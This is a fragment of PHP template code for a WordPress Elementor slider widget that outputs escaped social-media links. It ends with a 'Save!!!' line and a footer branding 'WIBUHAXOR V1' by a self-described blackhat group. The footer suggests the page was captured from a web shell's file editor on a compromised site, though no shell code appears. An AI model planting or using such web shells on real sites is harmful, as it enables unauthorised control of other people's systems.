!empty($settings['behance_title'] ) ) : ?> <li><a href="<?php echo esc_url( $settings['behance_title'] ); ?>"><?php echo esc_html__("BEHANCE","tpcore") ?></a></li> <?php endif; ?> <?php if( !empty($settings['dribble_title'] ) ) : ?> <li><a href="<?php echo esc_url( $settings['dribble_title'] ); ?>"><?php echo esc_html__("DRIBBLE","tpcore") ?></a></li> <?php endif; ?> <?php if( !empty($settings['pinterest_title'] ) ) : ?> <li><a href="<?php echo esc_url( $settings['pinterest_title'] ); ?>"><?php echo esc_html__("PINTEREST","tpcore") ?></a></li> <?php endif; ?> <?php if( !empty($settings['gitub_title'] ) ) : ?> <li><a href="<?php echo esc_url( $settings['gitub_title'] ); ?>"><?php echo esc_html__("GITHUB","tpcore") ?></a></li> <?php endif; ?> </div> <?php endif; ?> </ul> </div> </div> <?php endif; } } $widgets_manager->register( new TP_Slider() );
Save!!!
© 2022 - 2023 WIBUHAXOR V1 By Lutfifakee || Padang Blackhat